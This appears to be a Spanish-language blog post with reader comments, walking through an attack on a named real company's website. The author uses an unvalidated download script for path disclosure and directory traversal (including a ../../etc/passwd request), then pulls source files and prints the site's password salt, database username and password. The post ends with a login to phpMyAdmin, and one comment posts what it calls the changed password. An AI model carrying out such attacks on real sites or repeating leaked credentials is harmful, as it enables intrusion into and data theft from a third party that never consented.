Explotando una vulnerabilidad Full Path Disclosure+Directory Transversal

Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es sólo con fines educativos, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan estúpidas comunes, este documento no es para ti, asi que vete maldito delincuente hacker inescrupuloso.

directory-trans

Habien dicho todo esto, llego el momento de la acción. Wanna rock?

El sitio que usaremos será el de Veramonte y las vulnerabilidades que explotaré enseñaré son Full Path Disclosure y Directory Transversal (no explicaré que significa cada una ya que para eso está google y no quiero quitarle sus clientes).
Como primer paso, ingresaremos al sitio https://www.veramonte.cl y mriaremos rápidamente si encontramos algo sospechoso, a simple vista podemos encontrar una posible url candidata a ser explotada:

https://www.veramonte.cl/archivo/archivo2.php?cat=bodega

Pero si intentamos hacer cualquier cosa, nos damos cuenta de que no podemos hacer mucho 🙂 Por ende, seguimos profundizando. En este caso, yo llegue lograr hasta la siguiente url:
https://www.veramonte.cl/admin/download.php?path=

Mis ojos se dirigieron directamente a la variable “path” y fui probando, hasta lograr mi objetivo: Descargar y navegar por los archivos como si fuese un ftp personal. Empezando por descargarme el mismo fichero download.php y ver como está hecho:

  1. < ?php
  2.         $f = $_GET["path"];
  3.     header("Content-type: application/octet-stream");
  4.     header("Content-Disposition: attachment; filename=\"$f\"\n");
  5.     $fp=fopen("$f", "r");
  6.     fpassthru($fp);
  7.  
  8. ?>

Eso nos dice CLARAMENTE que el fichero esta mal programado, no tiene ningun tipo de validación ni de protección, por lo que es explotable. Continuamos con la azaña, vamos a provocar un path disclosure introduciendo una ruta inválida, por ejemplo:
https://www.veramonte.cl/admin/download.php?path=asdfgh
Nos encontramos que php nos muestra el siguiente error:

Warning: fopen(asdfg) [function.fopen]: failed to open stream: No such file or directory in /var/www/veramonte/html/admin/download.php on line 5

Warning: fpassthru(): supplied argument is not a valid stream resource in /var/www/veramonte/html/admin/download.php on line 6

Con esto ya tenemos el full path al descubierto: /var/www/veramonte/html.
La cosa acá se pone divertida, descarguemonos el /etc/passwd:
https://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd
Nos encontramos con la sorpresa de que el servidor está “protegido”:

veramonte-1

Pero no importa, aún podemos seguir jugando. Descargamos el index.php para saber como funciona el sitio, que ficheros incluye, a que directorios hace referencia, etc etc.

Lo único que podemos rescatar el index es lo siguiente (código php):

  1. //Conecta a BD testing
  2. include("config/conex.php");
  3. include("libreria/funciones.php");
  4. //$conect = Conectarse();
  5.  
  6.  
  7. $secure = ‘%4f#.$$FUCK%%rt!89’
  8.  
  9. if (isset($_POST["enviar"])) {
  10.  
  11.         $username = $_POST["charkikan"];
  12.         $password = $_POST["cazuela"];
  13.  
  14.         $password       = sha1($username . sha1($password) . $secure);
  15.        
  16.         //echo $username." – ".$password;
  17.  
  18.         $sql_users = "SELECT * FROM v_usuarios WHERE username = ‘".$username."’ AND password = ‘".$password."’";
  19. //echo $sql_users;
  20. $resultado = mysql_query($sql_users);
  21.        
  22.         if ($valor = mysql_fetch_array($resultado))
  23.         {
  24.                 $_SESSION[‘user_sitio’] = "ON";
  25.                 $_SESSION[‘nombre_user_sitio’] = $valor[1];
  26.                 $_SESSION[‘apellido_user_sitio’] = $valor[2];
  27.                 $_SESSION[‘privilegio_user_sitio’] = $valor[4];
  28.                
  29.                 echo "<script>window.location=\"admin.php\";</script>";                
  30.         } else {
  31.                                         echo "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"10;URL=index.php\">";
  32.                                         }              
  33.  
  34. }</meta>

La primera línea me interesó muchisimo, me descargaré ese fichero, con las esperanzas de que estén escritos los datos de conexión a la base de datos y ……. bingo!!, lo tenemos:

  1. < ?
  2. function Conectarse()
  3. {
  4.    if (!($link=mysql_connect("localhost","veramonte","v3r4m0nt3")))
  5.    {
  6.       echo "Error conectando a la base de datos.";
  7.       exit();
  8.    }
  9.    if (!mysql_select_db("veramonte",$link))
  10.    {
  11.       echo "Error seleccionando la base de datos.";
  12.       exit();
  13.    }
  14.    return $link;
  15. }
  16. ?>

Si probamos por ftp, veremos que no podemos ingresar, entonces buscamos más posibilidades. Como yo tengo un poco de imaginación, lo que se me ocurró fue ingresar en https://veramonte.cl/phpmyadmin:

veramonte-2

Creo que con esto, el objetivo ya está logrado.

10 comentarios

  1. Muy bueno. La verdad el último giro no se me hubiese ocurrido. Ahora bien, no es raro que el Apache reporte un Fedora y la base de datos un lenny, si están instalados en el mismo servidor?
    Corrigeme si digo una gran burrada!

  2. Zerial

    agosto 22, 2009 a las 1:20 am

    @idfka: Quizas instalaron el mysql de debian xD No me habia dado cuenta de ese detalle.

  3. aprendiendo cada dia algo nuevo del zerial, i like

  4. excelente post!
    btw, don veramonte sabe? xD

  5. Zerial

    agosto 22, 2009 a las 3:21 pm

    Siempre uno intenta hacer las cosas lo mejor posible, avisando a los encargados, etc. Muchas veces no pescan …

  6. Buen articulo Fernando, Esperemo que el administrador pesque y lo corriga, 😉 Saludos cordiales.

  7. Pues parace que después de mes y medio no se ha enterado todavía, simplemente ha debido de leer algún tuto sobre fortaleza de contraseña pero no está dando en el clavo…

  8. Amadeus Nevohteeb

    octubre 30, 2009 a las 3:27 pm

    Que buen articulo, gracias por la informacion, ahora ya tengo mas bases para hacer mi trabajo…

  9. Esta muy ilustrativo; pero que se puede hacer cuando los .. están bloqueados;

  10. jajaja , no lo pesco , seguramente creyó que era la contraseña y la cambio.
    if (!($link=mysql_connect(“localhost”,”veramonte”,’DD2__#$aS!me*}’)))

    xD!

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Esto sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.